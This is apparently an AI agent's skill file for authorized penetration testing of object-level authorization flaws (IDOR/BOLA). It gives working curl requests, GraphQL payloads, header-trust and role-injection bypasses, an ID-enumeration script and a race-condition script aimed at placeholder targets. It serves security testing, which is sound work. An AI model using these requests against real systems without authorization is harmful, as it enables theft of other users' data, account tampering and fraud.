# IDOR / BOLA Exploitation Attack Skill

Object-level authorization testing (IDOR, BOLA, cross-tenant access) driven by a two-identity swap methodology, covering REST, GraphQL, WebSocket, gRPC, batch endpoints, job objects, and signed object-storage URLs. Centered on horizontal cross-account access and workflow-context bypass, with vertical escalation handled only as a follow-on when the same swap methodology produces it (dedicated vertical-only work belongs to the `bfla_exploitation` community skill).

## When to Classify Here

Use this skill when the operator wants to prove that one authenticated principal can reach another principal's objects, escalate to higher-privileged actions, or skip a required workflow step. Concrete triggers include:

- "Test for IDOR / BOLA on the API"
- "Can user B read user A's invoices / orders / messages / files / jobs?"
- "Check tenant isolation between organizations"
- "Privilege escalation from low-priv user to admin without password attacks"
- "Bypass the workflow and finalize an order without paying"
- "Swap object IDs / Relay node IDs in GraphQL"
- "Verify ownership checks on PATCH/PUT/DELETE endpoints"
- "Look for missing role gates on /admin endpoints"

Keywords (kept disjoint from neighboring skills): idor, bola, bopla, broken object level authorization, object level authz, ownership check, ownership bypass, tenant isolation, multi-tenant, cross-tenant, horizontal escalation, account swap, identifier manipulation, resource binding, Relay node id, two-account swap.

Boundary against neighbors (do NOT route here, route to the named skill instead):

- `sql_injection` covers SQL grammar fuzzing, UNION/timing payloads, sqlmap. This skill never injects SQL.
- `xss` covers JavaScript payload delivery to victim browsers. This skill never crafts JS sinks.
- `ssrf` covers forcing the server to fetch attacker or internal URLs. This skill never abuses URL parameters as a fetcher.
- `rce` covers code/command/template/deserialization execution on the server. This skill never targets a shell.
- `path_traversal` covers escaping a filesystem path with `../`, PHP wrappers, or LFI to RCE chains. This skill changes valid object identifiers in valid endpoints; it does not break out of a path.
- `brute_force_credential_guess` covers password cracking and credential spray. This skill assumes identities are already provided.
- Community skill `api_testing` covers the broader API surface (JWT alg confusion, GraphQL DoS, generic 403-bypass header soup). Choose `idor_bola_exploitation` only when the request is specifically about object/tenant-level access control with at least the prospect of two distinct identities. Prefer this skill if the operator says "swap accounts" or "cross-tenant"; prefer `api_testing` if the operator says "JWT alg none" or "GraphQL introspection".
- Community skill `bfla_exploitation` covers function-level (vertical) escalation as its primary mission ("give me admin", "call the privileged mutation as a basic user", header-trust bypass for role flipping). Choose `idor_bola_exploitation` when the central question is reaching another principal's resource at the same tier or crossing tenant lines. If the central question is invoking an action the role should not be allowed to call regardless of the resource, route to `bfla_exploitation` instead.
- Community skill `mass_assignment` owns over-posting and privileged-field injection (`role`, `isAdmin`, `ownerId`, `tenantId`, billing fields) via writable model binders. Choose `idor_bola_exploitation` when the bug is the missing per-resource ownership check on a request that is otherwise correctly shaped. If the central question is which forbidden fields the binder will quietly accept on a create / update / nested write, route to `mass_assignment` instead.

## Workflow

### Phase 1: Reconnaissance (Informational)

1. **Map identifier-bearing surfaces.** Use `query_graph`:
   "List Endpoints whose path contains `{id}`, `{userId}`, `{orgId}`, `{accountId}`, `{tenantId}`, `{projectId}`, `{invoiceId}`, `{jobId}`, `{messageId}`, or numeric / UUID-shaped trailing segments. For each, return method, full path, parameters, and any captured Authorization header from previous recon."

2. **Confirm the two-identity prerequisite.** Ask the operator for at least two valid sessions before going further: Account A (owner / victim) and Account B (attacker / non-owner). For vertical testing, also request a low-privilege session and an admin session. Persist them as shell variables for reuse: `TOK_A`, `TOK_B`, `TOK_LOW`, `TOK_ADMIN`. If the operator can only provide one session, narrow the scope to vertical and unauthenticated bypass tests and call out the missing horizontal coverage in the final report.

3. **Collect an object-ID corpus** via `execute_curl` against listing, search, export, pagination, and notification endpoints. These are the richest seeders:
   ```
   -s -H "Authorization: Bearer ${TOK_A}" "https://target.tld/api/users/me/objects?page=1&limit=50"
   -s -H "Authorization: Bearer ${TOK_A}" "https://target.tld/api/exports?status=ready"
   -s -H "Authorization: Bearer ${TOK_A}" "https://target.tld/api/notifications"
   ```
   Save IDs to `/tmp/idor_corpus_a.txt` and `/tmp/idor_corpus_b.txt`. Also dredge JS bundles, sourcemaps, emails, and webhook payloads for foreign IDs you would not normally see.

4. **Decode opaque identifiers.** GraphQL Relay IDs and base64 envelopes often carry the inner type and integer in plaintext:
   ```
   echo "VXNlcjo0NTY=" | base64 -d
   ```
   Run via `kali_shell`. Note ULID and UUIDv1 values: their timestamp prefix makes neighboring IDs guessable inside a window.

5. **Discover hidden body / query parameters** with `execute_arjun` against any endpoint that accepts JSON or has an `id`-like parameter. Hidden authz-relevant fields drive both horizontal and vertical attacks:
   ```
   -u https://target.tld/api/items -m JSON -oJ /tmp/arjun_items.json --headers "Authorization: Bearer ${TOK_A}"
   ```
   Particular interest: `ownerId`, `accountId`, `tenantId`, `organizationId`, `userId`, `parentId`, plus expansion / projection knobs (`include`, `expand`, `fields`, `populate`, `with`, `select`) which frequently bypass authorization in resolvers and serializers.

6. **Fingerprint identifier shape per endpoint group.** Integer / UUIDv4 / UUIDv1 (time-leak) / ULID / Snowflake / opaque base64 / composite (`{org}:{user}`). Time-based IDs are guessable inside a window; mark those endpoints for sequential enumeration in Phase 2.

7. **Probe the existence oracle.** Compare one foreign ID against one owned ID using `execute_curl` and capture status, body length, ETag, and time so blind enumeration is possible later when content is masked:
   ```
   -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}|%{header_etag}\n" -H "Authorization: Bearer ${TOK_B}" "https://target.tld/api/objects/<A_OBJECT_ID>"
   -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}|%{header_etag}\n" -H "Authorization: Bearer ${TOK_B}" "https://target.tld/api/objects/<B_OBJECT_ID>"
   ```
   Distinct signatures are a Phase-2 enumeration accelerator even when the body is suppressed.

8. **Build the subject x object x action matrix.** For each endpoint, list which principals SHOULD reach it (per documentation or UI) and which actions (R / W / D / Export) are exposed. The bypass goal is to find the cells where actual behaviour differs from intent.

#### Captured-traffic workflow (proxy_brain tools)

If HTTP Traffic Capture is enabled, source and drive the two-identity swap from the recorded history instead of rebuilding requests by hand. Every proxy_brain tool only sees requests that actually traversed the capture proxy, so route the Account A and Account B sessions through it first.

- `redamon.sitemap()` and `redamon.search({"q":"/api/","hasAuth":true})` replace the graph query in step 1: they surface the identifier-bearing endpoints (host+path+method) actually exercised, with hit counts and status classes.
- `redamon.params()` flags the injectable `ownerId` / `tenantId` / `userId` / `id` parameters with a sequential-id / uuid / base64 heuristic, seeding the enumeration list for Phase 2.
- `redamon.grep("<A_OBJECT_ID>")` and `redamon.grep("gid://")` hunt foreign IDs leaked in response bodies, JS bundles, and JSON, expanding the object-ID corpus without extra recon curls.
- Auth-swap replay is the core primitive: `redamon.replay(<A_owner_txn_id>, {"dropHeaders":["Cookie","Authorization"]})` re-sends Account A's captured GET as an anonymous or Account B principal (add `{"headers":{"Authorization":"Bearer ${TOK_B}"}}` or a new `{"cookie":"..."}`), then `redamon.diff(<owner_txn_id>, <replay_txn_id>)` proves the owner-vs-non-owner disclosure (status, length, body). For the PATCH swaps in 2.1, replay with `{"method":"PATCH","body":"{\"email\":\"attacker@example.tld\"}","headers":{"Authorization":"Bearer ${TOK_B}"}}`.
- `redamon.fuzz(<captured_txn_id>, "id", ["1","2","3"])` runs the sequential-ID enumeration of 2.1 step 4 over one query parameter (50 payloads max, origin host only), returning per-ID status+length so cross-account hits stand out. To enumerate a path-segment or body ID instead, iterate `redamon.replay` with `{"path":...}` or `{"param":{...}}`.
- `redamon.query({...})` builds the subject x object x action matrix analytically over the traffic table; `redamon.to_curl(<txn_id>)` renders any hit as a copy-pasteable curl for the report.

Caveat: redamon.replay pins host/scheme/port to the origin transaction, so it cannot flip to a sibling multi-tenant subdomain (`a.` vs `b.`) or probe another host: use execute_curl / execute_playwright for those and for any browser-side (JS / DOM) proof.

When the endpoint inventory, ID corpora, identifier shapes, and identity set are all captured, request transition to exploitation phase.

### Phase 2: Exploitation

Run the matrix once per attack class. For every successful swap, capture the exact request, headers, response diff between owner and non-owner, and the affected object IDs. Default to read-based proof first (lower blast radius); escalate to mutation only when read alone is not sufficient evidence and the operator authorizes it.

#### 2.1 Horizontal Authorization (cross-account, same role)

Goal: Account B reads or mutates an object owned by Account A.

1. **Direct GET swap** with `execute_curl`:
   ```
   -s -H "Authorization: Bearer ${TOK_B}" "https://target.tld/api/objects/<A_OBJECT_ID>"
   ```
   Compare body to the owner-issued response. Any disclosure of fields the non-owner should not see (email, billing last4, address, conversation content) is a Level 3 exploit.

2. **PATCH / PUT / DELETE swap.** Silent unauthorized mutations carry higher impact than reads:
   ```
   -s -X PATCH -H "Authorization: Bearer ${TOK_B}" -H "Content-Type: application/json" \
      -d '{"email":"attacker@example.tld"}' "https://target.tld/api/users/<A_USER_ID>"
   ```
   Replay the GET as Account A to confirm persistence.

3. **JSON Patch / JSON Merge Patch.** Partial-update endpoints with these media types frequently skip authz:
   ```
   -X PATCH -H "Authorization: Bearer ${TOK_B}" -H "Content-Type: application/json-patch+json" \
      -d '[{"op":"replace","path":"/role","value":"admin"}]' "https://target.tld/api/users/<A_USER_ID>"
   ```

4. **Sequential enumeration** for integer or time-based IDs via `execute_code` (Python). This produces a list of cross-account hits without hammering one ID at a time:
   ```python
   import requests
   tok = "REPLACE_WITH_TOK_B"
   hits = []
   for i in range(1, 1001):
       r = requests.get(
           f"https://target.tld/api/invoices/{i}",
           headers={"Authorization": f"Bearer {tok}"},
           timeout=8,
       )
       if r.status_code == 200 and len(r.content) > 64:
           hits.append((i, len(r.content)))
   open("/tmp/idor_hits.txt", "w").write("\n".join(f"{i},{n}" for i, n in hits))
   print("hits:", len(hits))
   ```

5. **Tenant-boundary tests** via headers, subdomains, and slugs:
   ```
   -H "X-Tenant-ID: <A_TENANT_ID>" -H "Authorization: Bearer ${TOK_B}" "https://target.tld/api/dashboard"
   ```
   Also try removing the tenant header entirely; mix Account B's token with Account A's organization slug in the path; flip the host on multi-tenant subdomains (`a.target.tld` vs `b.target.tld`) while keeping the cookie / token.

6. **Reference forms operators forget about.** Test the same swap across query string, JSON body, form-data, multipart, headers, and cookies. The authorization middleware often guards one channel and not the others.

#### 2.2 Vertical Authorization (privilege escalation, secondary scope)

Goal: a low-privileged session reaches admin / staff actions. Run this section only as a follow-on when the same swap setup naturally exposes a vertical path (e.g. you already hold `TOK_LOW`, you noticed an `/admin/*` endpoint during recon, or a horizontal swap promoted you mid-test). For an operator request whose primary intent is vertical escalation, hand off to the `bfla_exploitation` community skill.

1. **Direct admin endpoint with low-priv token**:
   ```
   -s -H "Authorization: Bearer ${TOK_LOW}" "https://target.tld/admin/users"
   -s -H "Authorization: Bearer ${TOK_LOW}" "https://target.tld/api/admin/audit-log"
   ```

2. **Role / permission injection** on profile-update endpoints (the goal here is the missing role gate, not the schema; mass-assignment overlap is intentional):
   ```
   -X PUT -H "Authorization: Bearer ${TOK_LOW}" -H "Content-Type: application/json" \
      -d '{"role":"admin","is_admin":true,"permissions":["*"],"verified":true}' \
      "https://target.tld/api/users/me"
   ```

3. **Header-trust bypass** at gateways and reverse proxies. Backends frequently honor headers injected (or forwardable) from the edge:
   ```
   -H "X-User-Id: <ADMIN_USER_ID>"
   -H "X-Roles: admin"
   -H "X-Forwarded-User: admin"
   -H "X-Original-URL: /admin/users"
   -H "X-Rewrite-URL: /admin/users"
   ```

4. **HTTP method tunneling** for state-changing endpoints incorrectly accepting GET:
   ```
   "https://target.tld/api/users/<TARGET>?_method=DELETE"
   -H "X-HTTP-Method-Override: DELETE"
   -H "X-Method-Override: PATCH"
   ```

5. **Vertical follow-on only.** If steps 1-4 surface an unlinked admin route worth probing, capture it as a finding for the report and pass detailed function-level enumeration to `bfla_exploitation`. Do not duplicate that skill's full ffuf / verb-tampering matrix here.

#### 2.3 Context / Workflow Authorization (state bypass)

Goal: skip a required prior step (payment, approval, verification, KYC) and reach the finalization sink.

1. **Direct call to the final step** with `TOK_B`, omitting the prerequisite calls entirely:
   ```
   -X POST -H "Authorization: Bearer ${TOK_B}" -H "Content-Type: application/json" \
      -d '{"orderId":"<ORDER_AWAITING_PAYMENT>","status":"completed"}' \
      "https://target.tld/api/orders/finalize"
   ```

2. **Forced state transition** by setting the terminal status field on a partial update:
   ```
   -X PATCH -H "Content-Type: application/json" \
      -d '{"status":"approved","verified":true,"paid":true}' \
      "https://target.tld/api/orders/<ID>"
   ```

3. **Out-of-order step replay.** Capture the legitimate sequence as Account A using `execute_playwright` (record every XHR), then replay step N+2 as Account B without step N or N+1. Confirm the side effect persists.

#### 2.4 GraphQL Object-Level Authorization

GraphQL is uniquely IDOR-prone because authorization must happen per-resolver, not at the top-level gate. Test field and edge resolvers separately.

1. **Resolver-level swap with batching and aliases** so a single request proves multiple bypasses:
   ```
   -X POST -H "Authorization: Bearer ${TOK_B}" -H "Content-Type: application/json" \
      -d '{"query":"query { u1: user(id:\"<A_USER_ID>\") { email billing { last4 } } u2: node(id:\"<A_RELAY_ID>\") { ... on User { email } } admin: organization(id:\"<A_ORG_ID>\") { members { email role } } }"}' \
      "https://target.tld/graphql"
   ```

2. **Edge / field overfetching** via fragments on privileged types (the parent gate may pass while the nested resolver leaks):
   ```
   query { invoice(id:"<A_INVOICE>") { ... on Invoice { amount paymentMethod { number cvv } } } }
   ```

3. **Mutation cross-account.** Mutations frequently skip the per-resource ownership check that queries enforce:
   ```
   mutation { updateUser(id:"<A_USER_ID>", input:{role:"admin"}) { id role } }
   mutation { destroyConversation(input:{conversationId:"<A_CONV_ID>"}) { success } }
   ```

4. **Relay global node swap.** Decode the base64 ID, increment the inner integer, re-encode, and refire:
   ```
   echo -n "User:457" | base64
   ```
   Use the new ID against the `node(id: ...)` field.

#### 2.5 Bulk, Batch, and Job Endpoints

1. **Mid-array foreign IDs** in bulk update / delete (validation often only checks index 0):
   ```
   -X POST -H "Authorization: Bearer ${TOK_B}" -H "Content-Type: application/json" \
      -d '[{"id":"<B_OWN_ID>","action":"noop"},{"id":"<A_FOREIGN_ID>","action":"delete"}]' \
      "https://target.tld/api/items/bulk"
   ```

2. **Job / task object pickup** across users (`execute_curl`):
   ```
   /api/exports/<A_JOB_ID>/download
   /api/reports/<A_TASK_ID>
   /api/jobs/<A_JOB_ID>/cancel
   ```
   Cancel or approve someone else's jobs by ID; the worker context typically lost authorization when re-processing.

3. **CSV / JSON imports referencing foreign object IDs** (ownerId, orgId) often bypass create-time checks and silently transfer records into the wrong tenant.

#### 2.6 File / Object Storage and Share Tokens

1. **Signed URL / share token swap** with a token from a different tenant; try case and URL-encoding variations on the storage key.
2. **Key-prefix flips** in S3-style paths (`/tenant_a/...` to `/tenant_b/...`).
3. **Stale signature reuse** across tenants on endpoints that key the cache without `Authorization`.
4. **Content-Disposition tricks** on download endpoints; sometimes the filename param is honored from query string and points to a different object.

#### 2.7 Bypass Variations to Try Before Calling It Safe

Bypass-exhaustion rule: attempt at least three of the following per endpoint before classifying as not vulnerable. A finding may only be marked FALSE POSITIVE after these are tried and documented:

- Content-type switch: `application/json` -> `application/x-www-form-urlencoded` -> `multipart/form-data` -> `application/xml`
- Parameter pollution: `id=<B_ID>&id=<A_ID>` and the reverse order
- JSON duplicate keys: `{"id":"<B_ID>","id":"<A_ID>"}` (parser precedence often differs between gateway and backend)
- Case / aliasing: `userId` / `userid` / `USER_ID` / `user_id` / `user-id`
- Verb tunneling: `X-HTTP-Method-Override`, `_method=`, GET on POST/PATCH endpoints
- Cache key confusion: replay with and without `Authorization`, vary `Vary` and `Accept`, switch `Accept-Encoding`
- Race-window: parallel requests via the snippet below to flip the referenced ID between check and use

#### 2.8 Race Condition on Reference Validation

Run via `execute_code`:

```python
import asyncio, aiohttp

URL = "https://target.tld/api/transfer"
TOK = "REPLACE_WITH_TOK_B"
PAYLOAD = {"from": "<B_ACCT>", "to": "<ATTACKER_ACCT>", "amount": 100}

async def fire(s):
    async with s.post(URL, json=PAYLOAD, headers={"Authorization": f"Bearer {TOK}"}) as r:
        return r.status, (await r.text())[:120]

async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[fire(s) for _ in range(40)])
    for status, body in results:
        print(status, body)

asyncio.run(main())
```

Inspect for double-spend, duplicated refunds, multiple successful state transitions on a single allowed action, or cross-account effects.

### Phase 3: Post-Exploitation

1. **Map blast radius.** Once a single bypass works on one endpoint, retest every endpoint in the inventory under the same conditions; the same broken gate usually leaks across siblings (e.g. if `/api/users/{id}` leaks, `/api/users/{id}/sessions`, `/api/users/{id}/api-keys`, and `/api/users/{id}/billing` likely leak too).
2. **Cross-tenant evidence pack.** Pull at least one record per tenant boundary you can cross (PII / PHI / PCI ideally) so the report shows multi-tenant impact, not just two-account impact. Redact extracted data in the final report; reference its existence rather than embedding it.
3. **Chain candidates** worth flagging in the report:
   - IDOR + CSRF: force a victim to trigger an unauthorized change on objects you discovered.
   - IDOR + Stored XSS: pivot into other users' sessions through data you gained access to.
   - IDOR + SSRF: exfiltrate internal IDs from a webhook / metadata endpoint, then access their corresponding resources.
   - IDOR + Race: bypass spot-checks with simultaneous requests, often unlocking additional state transitions.

## Reporting Guidelines

For each confirmed finding include:

- Vulnerability class (Horizontal / Vertical / Context_Workflow / GraphQL field-level / Batch / Object-store / BFLA)
- Endpoint (full method + URL with placeholders for IDs)
- Identity matrix actually used (`TOK_A`, `TOK_B`, `TOK_LOW`, `TOK_ADMIN`, anon)
- Reproducible request bundle (one curl line per step, all headers preserved, placeholders for tokens)
- Side effect achieved (data class read, mutation persisted, workflow step skipped)
- Owner-vs-attacker response diff (status, length, key field comparison)
- Tenant boundaries crossed, if any
- Proof-of-impact level (1 to 4) per the rigor framework below: Level 3 minimum to mark as EXPLOITED:
  - Level 1: theoretical bypass identified, not yet exercised against the target
  - Level 2: partial access (some protected fields read, no mutation)
  - Level 3: confirmed unauthorized read OR write of another principal's resource
  - Level 4: critical privilege escalation to admin / cross-tenant mass impact
- Suggested fix (per-resolver ownership check, tenant-scoped queries, server-side gate before sink, audience claim validation, gateway header stripping)

For attempts that did not succeed after the bypass-exhaustion list, mark them as FALSE POSITIVE in your notes (do not include in the main findings) and record what was tried. Coverage is part of the report; silence is not.

## Important Notes

- This skill assumes you have at least one valid session. With zero sessions, drop to vertical and unauth tests only and call this out explicitly in the report.
- Never harvest sessions you were not given. Cracking passwords or stealing tokens belongs to other skills (`brute_force_credential_guess`, `xss`), not here.
- Stay inside the engagement scope set in Project Settings. Object-level escalation that touches production data unintentionally is a real-world incident, not a finding.
- Prefer GET-based proof first; escalate to PATCH / PUT / DELETE only when read alone is insufficient and the operator authorized destructive testing. Always note the reversibility of any mutation in the report.
- Authentication being required is not a guard. A properly authenticated user with the wrong identity reaching another user's object is the bug. Do not classify a finding as safe just because the endpoint required a token.
- UI-only checks (hidden buttons, disabled controls, client-side role gates) do not count as protection; always test the underlying request directly.
- If the target environment forbids external callbacks (no `interactsh-client` reach), skip Phase 2.6 stale-signature tests that require an attacker-controlled host and rely on direct response diffing instead.
- Reference reading: PortSwigger Web Security Academy "Access control vulnerabilities", OWASP API Security Top 10 (API1: BOLA, API3: BOPLA, API5: BFLA), HackerOne reports #2207248 (Shopify GraphQL IDOR on BillingInvoice), #2218334 (HackerOne Copilot IDOR mutation), #717716 (HackerOne Gateway state mutation IDOR).
